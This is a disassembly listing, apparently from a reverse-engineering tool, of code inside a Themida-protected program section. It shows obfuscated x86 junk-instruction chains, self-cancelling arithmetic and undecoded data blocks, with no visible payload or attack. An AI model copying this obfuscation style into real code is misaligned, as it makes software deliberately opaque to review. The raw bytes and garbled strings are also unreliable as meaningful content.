pop esp
sub esp, 4
mov [esp], ecx
mov ecx, 4BA122AFh
push ebp
mov ebp, 409B573Ah
shr ebp, 8
dec ebp
jmp loc_5654D4
; ---------------------------------------------------------------------------
loc_555D86: ; CODE XREF: Themida_:00560D46j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop ecx
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_561FFF
; ---------------------------------------------------------------------------
loc_555D9D: ; CODE XREF: Themida_:00560B4Aj
add esp, 4
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push esi
push esp
pop esi
sub esp, 4
mov [esp], edx
mov edx, 4
sub esi, 751E527Bh
push eax
mov eax, 119E352Ch
sub esi, eax
pop eax
add esi, edx
add esi, 119E352Ch
jmp loc_568110
; ---------------------------------------------------------------------------
dd offset aFLasss ; "F\blassХ\r"
db 0D8h, 4, 0D2h
dd 0CCB35366h, 45E9D828h, 31FFFFF2h, 0D1E958C5h
db 53h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555DEF: ; CODE XREF: Themida_:0055778Fj
mov esi, esp
add esi, 4
jmp loc_5568C4
; ---------------------------------------------------------------------------
dd 0A41B6B05h, 52D0015Fh, 0A41B6BBAh, 5AD0295Fh, 0B0615C05h
dd 0E9555A2Ch, 0FFFFEB2Ch, 34486866h, 3778E9h
db 0
; ---------------------------------------------------------------------------
loc_555E21: ; CODE XREF: Themida_:0055B31Fj
add ecx, 4
jmp loc_5617DC
; ---------------------------------------------------------------------------
loc_555E2C: ; CODE XREF: Themida_:005565FAj
mov esp, [esp]
mov [esp], edi
jmp loc_565C17
; ---------------------------------------------------------------------------
loc_555E37: ; CODE XREF: Themida_:00560977j
add eax, 4CF27DA2h
add eax, edx
sub eax, 4CF27DA2h
jmp loc_558379
; ---------------------------------------------------------------------------
loc_555E48: ; CODE XREF: Themida_:0055D5EEj
pop eax
mov eax, 6BE109A1h
add eax, 121D3655h
jmp loc_559DB1
; ---------------------------------------------------------------------------
dd 7CBBC181h, 9FE95735h
db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_555E63: ; CODE XREF: Themida_:0055AAA1j
pop ebp
inc ebp
push ebp
jmp loc_559B7E
; ---------------------------------------------------------------------------
db 81h
dd 21042444h, 1232841h, 5304247Ch, 284121BBh, 245C2923h
dd 3C8B5B08h, 4C48324h, 55240C8Bh, 0FFF7B2E9h, 52E0B4FFh
dd 0F6808EB6h, 8BF4287Ah, 0C4832414h, 50E48004h, 4EC81h
dd 1C890000h, 2050E924h, 875B0000h, 0C1E92404h, 0F70000AAh
dd 0E2E3E9DBh, 0F5800000h, 2349E986h, 0EC830001h, 242C8904h
dd 0F75A5D52h, 7BC581D5h, 14DFC5Eh
db 0EEh, 5Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
xchg ebp, [esp]
jmp loc_563100
; ---------------------------------------------------------------------------
dd 835FF901h, 31E904C1h, 8900004Dh, 0A8E92434h, 8100011Ch
dd 4C2h, 24148700h, 8124248Bh, 4C4h, 5402E900h, 685E0000h
dd 50E3h, 55240489h, 0D0782568h, 0ED815D2Ah, 2AD07821h
dd 0E95D5855h, 48FAh, 0F8186BBDh, 0ECEB816Ch, 172537Ch
dd 0ECC381EBh, 8B72537Ch, 0C481242Ch, 4, 0E956C301h, 2A16h
dd 115BE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_555F6A: ; CODE XREF: Themida_:005582F6j
shr eax, 7
push esi
mov esi, 48244985h
shr esi, 4
or esi, 5FFC41C2h
push ebp
mov ebp, 180959C6h
jmp loc_55A49B
; ---------------------------------------------------------------------------
loc_555F87: ; CODE XREF: Themida_:00566359j
push ebx
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop ebx
add ebx, 4
push esi
mov esi, 4
add ebx, esi
pop esi
xchg ebx, [esp]
jmp loc_55DFB5
; ---------------------------------------------------------------------------
dd 875EF301h, 505C241Ch, 0CE5B4DB8h, 5D0F76Ch, 6CCE5B52h
dd 6858C601h, 17D7h, 0BB241C89h, 2, 1C8BDE01h, 0DD5CE924h
dd 0E589FFFFh, 8904EC83h, 2DB9240Ch, 0F72C373Bh, 0E79EE9D9h
dd 0A5BD0000h, 8153551Ah, 500A65C2h, 81EA0171h, 500A65EAh
dd 0C2835D71h, 0DA88E901h, 0BB530000h, 4, 66680A05h, 5BE02D51h
dd 0D80104F4h, 0F45BE005h, 680A2D04h, 565B5166h, 4BEh
dd 0AFCCE900h, 0E1890000h, 4C181h, 62E90000h, 550000F9h
dd 9870E9h, 0BB535A00h, 2EEA2074h, 89BD5551h, 89CDEE66h
dd 6893E9E9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556062: ; CODE XREF: Themida_:0055BEB1j
shl cl, 3
not cl
push ebx
mov bl, 0BAh
xor cl, bl
pop ebx
sub al, 6Fh
sub al, cl
add al, 6Fh
pop ecx
push dx
jmp loc_561A07
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E0895000h, 5F64BA52h, 27E942FBh, 5E0000BCh, 47A4BD55h
dd 0D5F714D6h, 8145E5D1h, 8BE903C5h, 1EBD5566h, 8130F277h
dd 464CAAE5h, 2ED814Bh, 29B2022Ah, 0EA295DEAh, 1A08C281h
dd 0E95D4E40h, 2CF3h, 54242C89h, 0DACAE9h, 0FF515C00h
dd 8B042474h, 0C481240Ch, 4, 5C24048Fh, 24048B66h, 4EC81h
dd 2C890000h, 591C6824h, 82E90000h, 0D0000A5h, 66C54EC4h
dd 2835D8F7h, 893A46B4h, 4E958C6h, 8B00006Fh, 82E92404h
dd 68FFFFEFh, 3324h, 11BBAE9h
db 0
byte_55611D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AA4o
aH@ db '$hу@',0
align 2
dw 0C89h
aIsscs db '$┴АИc≤',0
align 10h
loc_556130: ; CODE XREF: Themida_:00557BFBj
shl ch, 8
sub ch, 5
add ch, 1Ch
xor bh, ch
pop ecx
add ah, 0C3h
push edx
mov dl, 0F8h
sub esp, 4
mov [esp], edx
inc byte ptr [esp]
mov edx, [esp]
add esp, 4
shl dl, 2
sub dl, 0C5h
add ah, dl
jmp loc_55EC39
; ---------------------------------------------------------------------------
dd 0EC80EC28h, 240C8B7Eh, 0BEEBE9h
db 0
; ---------------------------------------------------------------------------
loc_556171: ; CODE XREF: Themida_:00557722j
push edi
mov edi, 37A851F7h
shr edi, 8
neg edi
xor edi, 71751438h
or edi, 1BB676E5h
add edi, 0E3238BEh
add ebx, edi
pop edi
add eax, ebx
pop ebx
jmp loc_564569
; ---------------------------------------------------------------------------
loc_556199: ; CODE XREF: Themida_:005633E3j
add esi, edx
jmp loc_55FC3A
; ---------------------------------------------------------------------------
loc_5561A0: ; CODE XREF: Themida_:005637AAj
add edi, ebp
add edi, 59F15C58h
add edi, 4D5B632Bh
push ebp
mov ebp, 50D74A6h
sub edi, ebp
pop ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_562FBF
; ---------------------------------------------------------------------------
aQTaSgu db 'Q╠T─и:Иgu',0
dw 0FF00h
dd 815F2434h, 4C4h, 0D067E900h, 0BE560000h, 9B5515Ah, 815EF709h
dd 6D67E8CFh, 0F8EF8136h, 891E754Dh, 0A1E95FFEh
db 11h, 1, 0
; ---------------------------------------------------------------------------
loc_5561FF: ; CODE XREF: Themida_:00558215j
cmp ecx, eax
pushf
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 89h
dd 5A542414h, 0C30E9h
db 0
; ---------------------------------------------------------------------------
loc_556211: ; CODE XREF: Themida_:0055AFCFj
sub esp, 4
mov [esp], edi
mov edi, 719346BBh
push esi
push ebx
mov ebx, 3C324A0Eh
not ebx
dec ebx
xor ebx, 1CC82F52h
neg ebx
add ebx, 5098E161h
mov esi, ebx
pop ebx
jmp loc_55B4A1
; ---------------------------------------------------------------------------
dd 4C681h, 0A2E90000h, 8100004Dh, 4ECh, 24148900h, 4BAh
dd 0FFD30100h, 815A2434h, 4C4h, 241C8700h, 0F24248Bh, 0EC81C8B6h
dd 4, 89241489h, 4C281E2h, 81000000h, 4ECh, 851FE900h
dd 0E95E0000h, 43D6h, 335DEB01h, 1C31241Ch, 241C3324h
db 8Bh, 2 dup(24h)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], edx
push edi
mov edi, 70EB5123h
jmp loc_553C2B
; ---------------------------------------------------------------------------
loc_5562B5: ; CODE XREF: Themida_:005617E5j
pop esp
push dword ptr [esp]
pop eax
add esp, 4
pop eax
jmp loc_5572D4
; ---------------------------------------------------------------------------
dw 0B951h
dd 689159BAh, 10CBAE9h
db 0
; ---------------------------------------------------------------------------
loc_5562D1: ; CODE XREF: Themida_:00553D07j
dec edi
shr edi, 2
sub edi, 9E9E77E5h
jmp loc_567E96
; ---------------------------------------------------------------------------
dd 242C895Ch, 0C581E589h, 4, 0B340E950h, 0C890000h, 86A0E924h
dd 83560000h, 48904ECh, 8DB95124h, 0B8333D35h, 3ED8DAD7h
dd 0F759C801h, 8886E9D8h, 83B00000h, 0C6082D34h, 0D3D3E9h
db 0
; ---------------------------------------------------------------------------
loc_556321: ; CODE XREF: Themida_:00558FEAj
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push esi
push esi
jmp loc_556E21
; ---------------------------------------------------------------------------
word_556336 dw 8B66h ; DATA XREF: Themida_:00552A28o
dd 9CE9240Ch, 5C000000h, 0FFF651E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556345: ; CODE XREF: Themida_:00562D4Ej
mov [esp], edx
push 2AE8h
mov [esp], ecx
mov ecx, 770704FAh
mov edx, ecx
pop ecx
xor edx, 1CDD7C03h
push ecx
mov ecx, 74A71E34h
dec ecx
inc ecx
dec ecx
and ecx, 2EF55CBAh
sub ecx, 27FC6E2Eh
xor ecx, 8ED9A13Bh
add edx, ecx
jmp loc_5538AB
; ---------------------------------------------------------------------------
loc_556380: ; CODE XREF: Themida_:00563EDDj
mov eax, [esp]
jmp loc_5609E8
; ---------------------------------------------------------------------------
dd 4B0EBE56h, 0DBE960F2h, 80000025h, 0CCFEDEC4h, 0C480C4FEh
dd 0E78853CAh, 585BFD88h, 0FFFB19E9h, 2D468FFh, 34890000h
dd 0F6EEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5563B6: ; CODE XREF: Themida_:00561414j
or edx, eax
shl edx, 1
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
push edi
push 10B6110Fh
jmp loc_556A58
; ---------------------------------------------------------------------------
db 68h
dd 79C7h, 11A4BE9h, 796C6800h, 2C890000h, 0C3BD6624h, 313E93Dh
dd 0F1800000h, 0F5EF8087h, 10E4E9h
db 0
; ---------------------------------------------------------------------------
loc_556401: ; CODE XREF: Themida_:00567F73j
xor ah, 7Ch
or bh, ah
pop eax
jmp loc_5569DE
; ---------------------------------------------------------------------------
loc_55640C: ; CODE XREF: Themida_:0055A06Aj
add eax, 17FB28A4h
pop ebp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
shr eax, 12h
xor eax, ecx
sub esp, 4
mov [esp], eax
jmp loc_5574C1
; ---------------------------------------------------------------------------
dd 5A19C781h, 5AE94344h
db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556437: ; CODE XREF: Themida_:0056062Ej
sub edi, 78AE3011h
jmp loc_5569A3
; ---------------------------------------------------------------------------
dw 0DCBDh
dd 0E909D715h, 0FFFFD0DBh, 4919E281h, 0EA8146EAh, 1765E597h
dd 2295E9h, 4C38100h, 83000000h, 1C8704EBh, 24248B24h
dd 53240489h, 6E9D788h, 5AFFFFE5h, 50C1F581h, 525322F1h
dd 0FFFFFFBAh, 5AD389FFh, 3FE9DD01h, 5BFFFFD5h, 8324348Bh
dd 0E38104C4h, 108C7775h, 5607EBC1h, 24537CBEh, 0EEE8163h
dd 681ED035h, 0
dd 5E243429h, 5607E6C1h, 0FFE45FE9h, 77E95DFFh, 89000023h
dd 0B568243Ch, 5F1BD448h, 35D1F781h, 0CF813AF9h, 71734D9Dh
dd 1495E9h, 24248B00h, 24048966h, 0FFC6D2E9h, 0B5ED81FFh
dd 8105D068h, 0BC75DEEDh, 0CD815E33h, 0F9D6528h, 235AED81h
dd 0EDC103E1h, 0E7CD8108h, 810AF704h, 1B649EC5h, 8C13E91Ch
dd 3F680000h, 5E7D5A35h, 6AF6814Eh, 89687E69h, 0FF72E9F1h
dd 68680000h, 89000061h, 2BA2414h, 0E9000000h, 1F84h, 0EE19F681h
dd 8CE99778h, 55000047h, 364CEEBDh, 5DEA892Ah, 0D33AEA81h
dd 0D629F9C7h, 0A8BA525Ah, 0E94E28B1h, 1145Bh, 83240C8Bh
dd 448104C4h, 310A0424h, 7C0174B5h, 6C810424h, 310A0424h
dd 93E974B5h, 5700005Dh, 83E9E789h, 550000A8h, 4BDh, 5DEA0100h
dd 5C241487h, 0D965E9h, 0E9515F00h, 0FFFFDDE6h
; ---------------------------------------------------------------------------
loc_5565A4: ; CODE XREF: Themida_:0055E1E7j
mov edx, 0A2D4EA0h
add eax, edx
pop edx
add eax, 250F7827h
sub eax, 55560209h
add eax, edi
add eax, 55560209h
sub eax, 250F7827h
sub eax, 0A2D4EA0h
add eax, 2D7940CFh
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_56017A
; ---------------------------------------------------------------------------
dd 0E981E901h, 43A47F55h, 0E9242C8Bh, 0FFFFF3D5h
; ---------------------------------------------------------------------------
loc_5565F0: ; CODE XREF: Themida_:00554CD9j
sub ecx, esi
jmp loc_559593
; ---------------------------------------------------------------------------
loc_5565F7: ; CODE XREF: Themida_:00553ADBj
pop dword ptr [esp]
jmp loc_555E2C
; ---------------------------------------------------------------------------
db 55h
dd 0FA475EBDh, 2CCD8149h, 0E9090833h, 436Fh, 5A545255h
dd 7BE6E9h, 4896600h, 80D2B024h, 0C30046EBh, 0E946C380h
dd 0BB0Bh
; ---------------------------------------------------------------------------
loc_55662C: ; CODE XREF: Themida_:00557B05j
shr eax, 10h
xor eax, ecx
push 3AFh
mov [esp], eax
push 1E22h
mov [esp], ebx
jmp loc_55F433
; ---------------------------------------------------------------------------
loc_556646: ; CODE XREF: Themida_:005537AAj
xor ebx, 833C50E1h
push eax
mov eax, 778230AFh
xor eax, 419C7EE4h
neg eax
neg eax
add eax, 0F47516Bh
xor eax, 5C944A36h
jmp loc_55B607
; ---------------------------------------------------------------------------
dw 2FB2h
dd 0FFD9E0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556671: ; CODE XREF: Themida_:0055C8C6j
dec edx
add edx, 0AE4CD175h
add ebx, edx
pop edx
jmp loc_5558C1
; ---------------------------------------------------------------------------
loc_556680: ; CODE XREF: Themida_:00558CF6j
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
jmp loc_56237B
; ---------------------------------------------------------------------------
aASx db 'аМ',8,'Иx;',0
align 4
dd 83241C8Bh, 1CE904C4h
db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55669F: ; CODE XREF: Themida_:005629F5j
add edi, esi
pop esi
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], esp
push edi
mov edi, 4
add dword ptr [esp+4], 48391161h
add [esp+4], edi
jmp loc_55584F
; ---------------------------------------------------------------------------
loc_5566C8: ; CODE XREF: Themida_:0055338Cj
mov esi, [esp]
jmp loc_561CCA
; ---------------------------------------------------------------------------
dd 0B6241489h, 9CC68087h, 5855E9h
db 0
; ---------------------------------------------------------------------------
loc_5566DD: ; CODE XREF: Themida_:0055A6EFj
add esi, 4
jmp loc_5576DB
; ---------------------------------------------------------------------------
dd 54241C89h, 0FFF873E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5566F1: ; CODE XREF: Themida_:0055BD44j
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 435Ah
mov [esp], esi
jmp loc_5653DB
; ---------------------------------------------------------------------------
db 66h, 68h, 0
dd 2C296600h, 2C8B6624h, 2C48324h, 68665066h, 70E97C32h
db 7Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556723: ; CODE XREF: Themida_:00568185j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
mov edi, 28283906h
push 731Eh
mov [esp], edx
mov edx, 1EDF5770h
jmp loc_56718A
; ---------------------------------------------------------------------------
db 87h
dd 15C2404h, 58042444h, 0E9240401h, 0FFFFECE5h
; ---------------------------------------------------------------------------
loc_556760: ; CODE XREF: Themida_:0055B2D6j
and edx, 49B52367h
add edx, 3A5F0378h
add esi, edx
pop edx
add esi, 60AC8F99h
add ebx, esi
jmp loc_55B400
; ---------------------------------------------------------------------------
aIchO db '┴Гh╤O',0
dw 8900h
dd 4B82404h, 1000000h, 0C78358C7h, 243C8704h, 692C685Ch
dd 34890000h, 815E5424h, 4ECh, 241C8900h, 306F68h, 53B4E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5567B2: ; CODE XREF: Themida_:005671D6j
pop eax
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_56190B
; ---------------------------------------------------------------------------
dd 0E924048Bh, 53ECh, 2EBD6655h, 0F5816602h, 2EE9497Bh
dd 50000018h, 1B8h, 1A13E900h
db 1, 0
; ---------------------------------------------------------------------------
loc_5567E6: ; CODE XREF: Themida_:00552FBFj
sub ebp, ecx
add ebp, 11066006h
pop ecx
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
push 1D35838Dh
jmp loc_566652
; ---------------------------------------------------------------------------
word_556802 dw 34FFh ; DATA XREF: Themida_:00552A9Co
dd 54505824h, 38BB5358h, 81619305h, 0EF752CEBh, 18C38153h
dd 0E90E0E65h, 81F7h
; ---------------------------------------------------------------------------
loc_556820: ; CODE XREF: Themida_:00565DC7j
not al
sub esp, 2
jmp loc_5576C9
; ---------------------------------------------------------------------------
dw 0D501h
dd 242C875Ah, 27E9555Ch
db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556837: ; CODE XREF: Themida_:0055364Fj
add ecx, 74BB2970h
sub ecx, 669E644Bh
add ecx, eax
add ecx, 669E644Bh
sub esp, 4
mov [esp], eax
mov eax, 74BB2970h
sub ecx, eax
pop eax
mov eax, [esp]
jmp loc_56108F
; ---------------------------------------------------------------------------
loc_556864: ; CODE XREF: Themida_:0055ECE2j
add esp, 4
add esi, edx
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_56729F
; ---------------------------------------------------------------------------
loc_556874: ; CODE XREF: Themida_:0055C993j
push 39C7h
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_562593
; ---------------------------------------------------------------------------
loc_556891: ; CODE XREF: Themida_:0055F46Fj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_55827A
; ---------------------------------------------------------------------------
loc_5568B9: ; CODE XREF: Themida_:0056314Aj
not edi
xchg eax, edi
push eax
mov eax, esp
jmp loc_55FE97
; ---------------------------------------------------------------------------
loc_5568C4: ; CODE XREF: Themida_:00555DF7j
push eax
mov eax, 79F86F5Fh
neg eax
dec eax
add eax, 0DC0488FDh
dec eax
jmp loc_55C8CB
; ---------------------------------------------------------------------------
loc_5568D8: ; CODE XREF: Themida_:00554509j
push edx
mov edx, 9FB44E3h
jmp loc_5554F2
; ---------------------------------------------------------------------------
byte_5568E3 db 0FFh ; DATA XREF: Themida_:00552908o
dd 34FF2434h, 54505824h, 40558h, 4050000h, 33000000h, 0FEE92404h
db 2, 1, 0
; ---------------------------------------------------------------------------
loc_5568FF: ; CODE XREF: Themida_:0055DC90j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_5642CE
; ---------------------------------------------------------------------------
dw 0BB53h
dd 2, 555BDD01h, 9BE95D54h, 0FFFFE7h, 0B35366D8h, 0E6BAE9D8h
dd 0BB53FFFFh, 1FF53E70h, 0E5E9DA89h
db 14h, 1, 0
; ---------------------------------------------------------------------------
loc_556943: ; CODE XREF: Themida_:00553B69j
add ebx, 4
jmp loc_554525
; ---------------------------------------------------------------------------
dw 0C681h
dd 4586340Ch, 49266853h, 2C890000h, 1F96BD24h, 7FE97ED4h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556967: ; CODE XREF: Themida_:0055EBF3j
mov ebp, 54C36B0Dh
jmp loc_55D7BE
; ---------------------------------------------------------------------------
loc_556971: ; CODE XREF: Themida_:00561652j
sub ecx, 424E1F5Dh
push 145Bh
mov [esp], edx
mov edx, 0AC2D0A9h
jmp loc_55D0D5
; ---------------------------------------------------------------------------
db 57h, 0BFh, 49h
dd 171BF78h, 1C8B5FF8h, 0E6895624h, 4C681h, 0A5E90000h
db 0, 1, 0
; ---------------------------------------------------------------------------
loc_5569A3: ; CODE XREF: Themida_:0055643Dj
mov esi, [esp]
add esp, 4
pop edx
xchg edi, [esp]
pop esp
div cx
push small 72EBh
mov [esp], dx
jmp loc_55D90B
; ---------------------------------------------------------------------------
loc_5569BE: ; CODE XREF: Themida_:00563B21j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_563EC7
; ---------------------------------------------------------------------------
dd 8103E1C1h, 870759F1h, 3034E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5569DE: ; CODE XREF: Themida_:00556407j
add bh, 78h
add dh, bh
pop bx
sub esp, 4
mov [esp], eax
push ebx
mov bh, 2Ch
jmp loc_558F44
; ---------------------------------------------------------------------------
dw 814Bh
dd 231DE7F3h, 81D3F74Ah, 74359CC3h, 5BD829B7h, 0FF2434FFh
dd 555A2434h, 0FE34E954h, 1C8B0000h, 5D1EE924h, 0EB830000h
dd 241C3304h, 14ABE9h, 81E58900h, 4C5h, 4ED8100h, 55000000h
dd 0D97BE9h, 68516600h, 1225h, 1500E9h
db 0
byte_556A49 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552904o
dd 8904EC83h, 0E9552434h, 0FFFFD1A1h
; ---------------------------------------------------------------------------
loc_556A58: ; CODE XREF: Themida_:005563D6j
pop edi
inc edi
push ebp
mov ebp, 10B6110Fh
sub edi, ebp
mov ebp, [esp]
add esp, 4
mov ebx, edi
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esp
pop ebx
push esi
mov esi, 4
add ebx, esi
pop esi
push ebp
jmp loc_55C9D7
; ---------------------------------------------------------------------------
db 68h, 70h, 29h
dd 0CE94B5Ah, 810000B3h, 0A53D01C1h, 0BF318108h, 8B2EBC46h
dd 0C483240Ch, 0C39D6104h, 0FFC10AE9h, 0A8BE56FFh, 814D571Eh
dd 21709CC6h, 5EF031A6h, 158C231h, 2434FFD1h, 9D19E9h
dd 0E9D6F700h, 0FFFFE82Eh, 5762F581h, 0C5814FF0h, 219E632Dh
dd 4FB9E581h, 5EE95DAEh
db 5Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556AEB: ; CODE XREF: Themida_:005655BDj
push ecx
mov ecx, 6B1D26EEh
sub edx, 5C527AEh
add edx, ecx
jmp loc_555ABE
; ---------------------------------------------------------------------------
dw 0C280h
dd 5AD50096h, 0FE59EE28h, 0B15166CEh, 858CE916h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556B12: ; CODE XREF: Themida_:00563122j
push 20594D69h
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_563A35
; ---------------------------------------------------------------------------
aMhW db '╛h╫W',0 ; DATA XREF: Themida_:005529C0o
align 4
dd 50240C89h, 0DCF64BB4h, 0FFF85AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_556B39: ; CODE XREF: Themida_:0055E2CDj
jmp loc_552BBB
; ---------------------------------------------------------------------------
dw 0B850h
dd 0B272902h, 0FFD57EE9h, 6CA1BFFFh, 0EFD127E9h, 0C505F781h
dd 0E3E94D83h, 2900008Fh, 0DE0158C6h, 9C7BD55h, 0ED813645h
dd 19600848h, 789DEE81h, 67E90AF7h, 5A000041h, 0D8F7D0F7h
dd 0B405A92Dh, 761F2523h, 7E929D3h, 8900001Ch, 84BFE9C3h
dd 0F1810000h, 45283D50h, 0E7AEE981h, 0C801A0BDh, 16F0E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556BA6: ; CODE XREF: Themida_:0055B70Fj
pop ebp
add ebx, edi
sub ebx, 485714BBh
add ebx, 573301Ch
jmp loc_559FD6
; ---------------------------------------------------------------------------
loc_556BBA: ; CODE XREF: Themida_:0055F89Ej
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_565B0A
; ---------------------------------------------------------------------------
dword_556BC8 dd 240C8B66h, 0DBD9E957h, 148B0000h, 4C48324h, 4C281h
; DATA XREF: Themida_:00552A48o
dd 0EA830000h, 4C276804h, 57E90000h, 8F000021h, 0F3E92404h
dd 520000F1h, 4EC81h, 0C890000h, 5021B524h, 0EF14E9h
db 0
; ---------------------------------------------------------------------------
loc_556C05: ; CODE XREF: Themida_:00561939j
sub eax, ecx
pop ecx
add eax, 8E00BC6h
dec eax
jmp loc_554600
; ---------------------------------------------------------------------------
byte_556C13 db 0FFh ; DATA XREF: Themida_:00552B70o
dd 0C8B2434h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55EDE7
; ---------------------------------------------------------------------------
db 58h, 8Bh, 1Ch
aS1_ db '$И1_',0
align 2
dw 1668h
dd 0E913F711h, 0FFFFC2CFh, 4BAh, 5AD72900h, 0E9243C87h
dd 2AABh, 0C75F03B9h, 3365E927h, 0CD890000h, 8BEB2959h
dd 0C483242Ch, 7EA5E904h, 0E9540000h, 1017Dh, 5156E089h
dd 4D5982B9h, 86BA521Ch, 891C4D59h, 0CE315AD6h, 51240C8Bh
dd 0C181E189h, 4, 10571E9h, 0AEF68100h, 0E9930A78h, 0FFFFC719h
dd 89240C89h, 4C181E1h, 81000000h, 4ECh, 4649E900h, 315D0000h
dd 242C8BEFh, 5304C483h, 1BBh, 0E9DF2900h, 843Ch, 0A5E9D301h
db 69h, 2 dup(0)
byte_556CC7 db 0ADh ; DATA XREF: Themida_:005529C8o
dd 0A469A005h, 0BDE95639h, 810000A4h, 4D5EA9C3h, 0B9515552h
dd 5CE40BDBh, 391C9EBDh, 876BE99Ah, 2B90000h, 2D000000h
dd 0C8B3B35h, 0FFDCB7E9h, 2EC81FFh, 66000000h, 0B6241489h
dd 9B45E903h, 5E050000h, 56092B1Eh, 282AEDBEh, 9E35E92Fh
dd 0CD310000h, 68240C8Bh, 271Dh, 4769E9h
db 0
byte_556D29 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:00552AC4o
dd 0FFBE8AE9h, 240428FFh, 5724048Ah, 0C7815F54h, 4, 8702C783h
dd 248B243Ch, 3F2C24h, 0E2C058C2h, 80D2F604h, 0E9534ACAh
dd 8718h
; ---------------------------------------------------------------------------
loc_556D5C: ; CODE XREF: Themida_:005594BFj
add esi, 1A8E59FFh
push 62FBh
mov [esp], esi
push eax
mov eax, 2875C87h
push 492Ah
mov [esp], ebx
mov ebx, 7F71DA8h
add dword ptr [esp+8], 448A3D84h
sub [esp+8], ebx
sub dword ptr [esp+8], 448A3D84h
pop ebx
sub [esp+4], eax
push esi
mov esi, 7F71DA8h
sub dword ptr [esp+8], 393622DCh
sub dword ptr [esp+8], 3CF23D5Eh
add [esp+8], esi
jmp loc_55E2ED
; ---------------------------------------------------------------------------
loc_556DB5: ; CODE XREF: Themida_:00555159j
pop edx
pop eax
shr edx, 4
jmp loc_553C91
; ---------------------------------------------------------------------------
db 81h
dd 4EFh, 243C8700h, 43B1E95Ch
db 2 dup(0)
word_556DCE dw 8B66h ; DATA XREF: Themida_:00552A20o
dd 0FCE9240Ch
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556DD7: ; CODE XREF: Themida_:005570A7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5537EE
; ---------------------------------------------------------------------------
loc_556DE9: ; CODE XREF: Themida_:00554C87j
sub eax, 170C6F24h
push 10E7h
jmp loc_55357D
; ---------------------------------------------------------------------------
dd 0FF5FFD29h, 0C8B2434h, 4C48324h, 4C481h, 0BA520000h
dd 2, 7887E9h, 2817B800h, 0C701116Ch, 0CDC4E9h
db 0
; ---------------------------------------------------------------------------
loc_556E21: ; CODE XREF: Themida_:00556331j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push 15377E90h
push dword ptr [esp]
pop eax
jmp loc_56728A
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 50000000h, 4B8h, 0E9C20100h, 0FFFFD7A3h
; ---------------------------------------------------------------------------
loc_556E54: ; CODE XREF: Themida_:0055FB7Bj
pop edx
push eax
mov eax, 4
add edx, eax
jmp loc_558FA6
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835A24h, 2D116804h, 34890000h, 8AE95424h
db 22h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556E77: ; CODE XREF: Themida_:00565195j
mov bh, 0Ch
jmp loc_55EB3D
; ---------------------------------------------------------------------------
dw 0BA52h
dd 0AEF3648h, 4467BA52h, 0EAD152F5h, 0B55AE9h
db 0
; ---------------------------------------------------------------------------
